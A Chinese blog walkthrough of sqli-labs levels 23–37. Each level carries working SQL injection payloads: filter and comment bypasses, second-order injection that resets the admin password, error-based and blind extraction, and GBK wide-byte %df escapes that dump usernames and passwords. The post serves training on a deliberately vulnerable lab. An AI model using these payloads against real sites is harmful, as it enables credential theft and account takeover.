sqlilabs通关02-中级篇:less23-37

news/2024/10/16 2:24:28

less23:注释符绕过

先看代码

image

  1. 可以看到对字符进行替换,将 #号和--替换成了空

  2. 通过sql语句,可以知道闭合符号是单引号

然后就可以开始尝试了,由于这关是get,直接修改url的参数即可

?id=1 #正常访问
#绕过
?id=1' and '1'='1
?id=1' and sleep(3)%20 and%20 '1'='1  #说明可以使用布尔加延时去注入
#然后拆解列数发现order by貌似不行,可以使用union select去拆解
?id=-1' union select 1,1,'2 #回显成功,说明三个字段#获取数据库相关信息
?id=-1' union select 4,1,@@datadir+'2
@@datadir mysql安装路径
@@basedir 数据库保存路径
#获取表名
?id=-1' union select 4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'2
后续就这样替换就行了

less24:二次注入

这关的前提是你不知道用户名和密码,你是第一次来到这个网站。

所以为了获取更多的信息,你应该注册一个账号。

如下代码,除了username参数没有进行处理,其余都通过mysql_real_escape_string() 函数进行sql防御措施。

mysql_real-escape_string()​ 函数的作用:转移一些特殊字符,防止sql语句被恶意注入。有点类似于java对于字符进行实体化操作。

在源代码中,仅仅只有注册账户的时候,username才没有进行处理,所以需要从注册账户的时候进行第一次注入。

思路:

  1. 注册一个带有注释符号的账户,方便后续的二次注入
  2. 通过修改密码等方式

​​image​​

  1. 注册一个带有注释符的用户,如admin' #​ ,密码123123

    ​​image​​

  2. 登录该账号,然后来到了修改密码的界面,通过源代码可知,用户名已经变成了刚才的注释,所以我们直接修改掉刚才admin​的用户密码。

    image

    ​那么此时执行的代码就是

    UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass'
    
  3. 输入你需要将admin修改成的密码,修改成功。

    image

  4. 登录amdin账号,密码为刚才修改,登录成功。查看一下sql数据库验证一下。​image

less25:or and过滤为空

字符过滤最简单的一关,看源代码

image

将or和and关键字替换成空,所以只需要双写即可。把关键字夹在关键字中间写即可。

or​->oorr

and​->anandd

?id=1' aandnd 1=1-- q
?id=-1' union select 1,2,3-- q
后续常规操作

less25a和less25同理,只是闭合符号从单引号变成了整数,即不需要闭合。

/?id=1 union select 1,2,3-- q

less26:报错注入

通过关键代码可知,替换了一部分字符为空字符

image

解决:

  1. or 或者and 替换为||和&&,或者是双写
  2. 使用报错注入,然后引号将两边闭合
  3. 空格用括号代替

#爆出数据库
?id=-1'||extractvalue(1,concat(1,database()))||'1

image

?id=-1'||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x3e))||'1 #注意infor or需要双写?id=-1'||extractvalue(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')anandd(table_schema=database())),0x3e))||'1
?id=-1'||extractvalue(1,concat(1,(select(group_concat(id,username,passwoorrd))from(users)),0x3e))||'1 #注意passwoorrd

less26a

看了一下源代码,和less26差不多,唯一的区别是空白字符串替换了两次,以及把mysql的错误打印注释,也就是说需要使用盲注来解决即可

还有就是:闭合符多了个括号

?id=1')anandd'1'=('1 #试试布尔,成功回显

image

#回显
?id=1')anandd(length(database())>7)aandnd'1'=('1
#不回显
?id=1')anandd(length(database())>8)aandnd'1'=('1

后续按照布尔方式来注入即可

less27

过滤了如下字符串

image解释:

  1. 主要包括了一些关键字和注释符,空白
  2. /s​ 表示单行匹配
  3. /m​ 表示多行匹配

解决:

  1. 关键字貌似都没有大小写敏感,所以可以通过混乱大小写绕过
?id=-4454'unIon%0ASeLect%0A1,2,'3 #回显

image

?id=-4454'unIon%0ASeLect%0A1,database(),'3 #爆库
#爆表
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),'3
#爆出字段
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(column_name))from(information_schema.columns)where(table_name='users')And(table_schema=database())),'3
#爆出记录
?id=-4454'unIon%0ASeleCt%0A1,(SeleCt(group_concat(id,username,password))from(security.users)),'3

image

less27a

闭合符号为双引号,其他相同

?id=-4454"unIon%0ASeLect%0A1,database(),"3 #爆库
?id=-4454"unIon%0ASeleCt%0A1,(SeleCt(group_concat(id,username,password))from(security.users)),"3

less27这两关,除了直接union,也可以通过extractvalue登报错 函数爆出

less28

源代码:

image分析:

除了之前的过滤,主要是多了“union空白连字符select”进行了过滤,同时不区分大小写。

闭合符号是:')

测试闭合符号是否正确
?id=1')and(''=' #回显
?id=1')and('2'=' #不回显,说明正确
/?id=1')%0Aor%0Aupdatexml(1,concat(1,database(),0x3e),1)and(''='

发现没有报错回显,只能用盲注试试了

?id=1')and(length(database())=8)and(''=' #数据库名称长度

由于union select​ 被过滤,所以中间的空格可以使用%0b​进行绕过

?id=-4454')unIon%0BSeLect%0A1,database(),('3

image

爆表

?id=-4454')unIon %0b SeLect%0A1,(select %0b group_concat(table_name)from %0b information_schema.tables %0b where %0b table_schema=database()),('3 #中间的空格可以不要,只是为了可读性,反正后端会自动过滤空格

image爆字段

?id=-4454')unIon %0b SeLect%0A1,(select %0b group_concat(column_name)from %0b information_schema.columns %0b where %0b table_schema=database() %0band%0b table_name='users'),('3

爆记录

?id=-4454')unIon %0B SeLect%0A1,(select %0B group_concat(id,username)from %0B security.users),('3

image

less28a

源代码:可以看到对一些字符过滤进行了注释,所以只需要管union select即可。

所以直接套用less28的payload即可。

image

less29:waf

源代码有个函数:

$_SERVER['QUERY_STRING']​:表示url中get所传递的参数链接

比如:http://example.com/page.php?id=123&name=John​ ,那么对应的QUERY_STRING​值就是:id=123&name=John

关于防御手段,没有看出来有什么防御手段

?id=-1' union select 1,2,3-- q

less30

闭合符号: 双引号"

?id=-1" union select 1,2,(select group_concat(id,username) from users)-- q

less31

根据测试发现闭合符号是")

?id=1") and 1=1-- q
猜列
?id=1") order by 4-- q
?id=1") order by 3-- q
?id=-1") union select 1,2,3-- q #判断回显
?id=-1") union select 1,2,database()-- q
?id=-1") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- q

后续继续爆记录就行了

less32:宽字节注入

源代码,对一些字符进行了转义,比如,\​ ,/​,"​三个符号

image

由于闭合符号是需要双引号,那么就要绕过这个。

同时在连接的时候,进行了gbk编码。

这里的过滤已经能够防御大部分的sql注入,但是由于连接时使用了gbk编码,所以会有宽字节注入。

思路:使用宽字节注入,用%df​,将反斜杠去掉,同时使用hex编码对汉字进行转码,这样就不需要单引号了

宽字节注入

?id=1%df%27%20and%201=1--%20q?id=1%df%27 order by 4-- q#回显
?id=-1%df%27 union select 1,2,3-- q
#爆库
?id=-1%df%27 union select 1,2,database()-- q
#爆表
?id=-1%df%27 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- q
#爆字段
?id=-1%df%27 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)-- q
#爆记录
?id=-1%df%27 union select 1,2,(select group_concat(0x3e,id,0x3e,username,0x3e,password) from users)-- q

image

less33

在获取id参数值后,对参数值做了转义处理。与less32不同的是,是使用自带的函数进行的转义,而less32是自己手写的转义函数。

image

addslashes​函数,用于对单引号(')、双引号(")、反斜线(\)和 NUL(NULL 字符)进行转义 。

同时也设置了gbk编码。

和less32一样,使用宽字节即可。

less34

由于post,所以需要进行抓包。

由于源代码中使用了转义函数,同时使用gbk编码,所以使用宽字节注入即可。

同时,由于前端是username和password进行登录,所以字段也变成了两个,回显的时候sql回显字段个数需要注意一下。

image

less35

这关是get方式提交数据。由于提示数据类型是number,所以就不用考虑闭合符号了。

验证闭合符号是否没有
?id=1 and 1=1 #回显
?id=1 and 1=2 #不回显,说明就是没有闭合符号?id=1 order by 4
?id=1 order by 3?id=-1 union select 4,5,3 #注入点回显了5和3
?id=-1 union select 4,5,database()?id=-1 union select 4,5,group_concat(column_name) from information_schema.tables where table_name='users' #发现报错有转义,将users转成16进制中途的一些过程省略
?id=-1 union select 4,5,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database() #爆字段
?id=-1 union select 4,5,(select group_concat(id,username,password) from users)

image

less36

使用了mysql_real_escape_string​对一些标点进行转义,防止sql注入。后端进行mysql连接时,使用了gbk编码,使用宽字节注入即可。

闭合符号:'​,注意使用%df'​去闭合即可,其他的字符串值,转换成16进制即可。

?id=-1%df' union select 4,5,(select group_concat(id,username,password) from users)-- q

less37

由于是post,先进行抓包。

这关同样是对一些特殊字符转义,所以使用宽字节注入即可。

过程同样省略

uname=1%df' order by 4-- q&passwd=1&submit=Submit
uname=-1%df' union select 5,(select group_concat(id,username,password) from users)-- q&passwd=1&submit=Submit

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/26397.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

中国39个行业产业链全景图

找了很久的各个行业产业链,今天终于发现这个整理得非常好的39个行业产业链全景图。主要行业基本都在里面了,每个行业上下游产业都包括哪些一张图你就看明白了! 新能源汽车产业链全景 机器人产业链全景图 房地产产业链全景图 稀土产业链全景图 电子竞技产业链全景图 钛白粉产…

Lettuce 实战之连接超时问题

问题 使用lettuce作为redis连接池,在访问redis时,偶尔会抛出RedisCommandTimeoutException,但隔一会儿又好了。 为什么lettuce有自动重连机制,却还是会出现连接超时的问题?为什么lettuce在连接断掉后,没有立即重连,而是需要等待十多分钟才重新连接? 在lettuce client和…

开源医疗大模型排行榜: 健康领域大模型基准测试

多年来,大型语言模型 (LLMs) 已经发展成为一项具有巨大潜力,能够彻底改变医疗行业各个方面的开创性技术。这些模型,如 GPT-3,GPT-4 和 Med-PaLM 2,在理解和生成类人文本方面表现出了卓越的能力,使它们成为处理复杂医疗任务和改善病人护理的宝贵工具。它们在多种医疗应用中…

一个用Python将视频变为表情包的工具

这是一个将视频转变为表情包的工具,现实生活中当我们看到一段搞笑的视频,我们可以将这段视频喂给这段程序,生成gif表情包,这样就可以用来舍友斗图了 1、一些限制 1、这个程序不能转化超过15秒以上的视频,因为占用的内存较高,会被终端杀死(除非你的计算机性能很好,也许1…

SpringBoot2.x整合Redis Sentinel

redis sentinel搭建之后,在spring-boot项目中集成。 配置 在pom.xml文件中添加如下依赖配置(这里spring-boot版本2.2.5),这个版本中,默认使用lettuce作为redis连接池。 <dependency><groupId>org.springframework.boot</groupId><artifactId>spri…

PLC程序中的配方应用

建立ARRAYDB集合配方需要的所有元素结构,组成一个UDT(包含范围最全) 新建一组ARRAY DB,元素的个数就是配方需要的副本的个数 数组DB勾选仅存储在装载内存中,以便数据量大的配方不占用数据工作存储器空间,节省资源 在ARRAY DB的起始值处填写配方的具体值 1200不支持ARRAY …

Redis 高可用之主从哨兵集群实战

搭建集群 架构规划为一个主库节点,一个从库节点,三个哨兵节点,其中主从库节点内存配置需保持一致,哨兵节点对配置要求较低,可配置在主从节点上。 搭建主库 主从库节点内存配置需保持一致,主从库连接密码保持一致。主库不进行任何持久化配置,交给从库完成。 编写配置文件…

Juummmmppingg!

You jump,I jump.To jump,or not to jump,that is the question.灵感来源是无聊的时候自己和自己玩的数学小游戏 初始版本 给定了从1到50这50个正整数, 正直善良的勇者啊,请选定起始方块(这也算访问一次,但不计入跳跃数量( (我都乱写了你就让让我吧), 然后在这些方块上…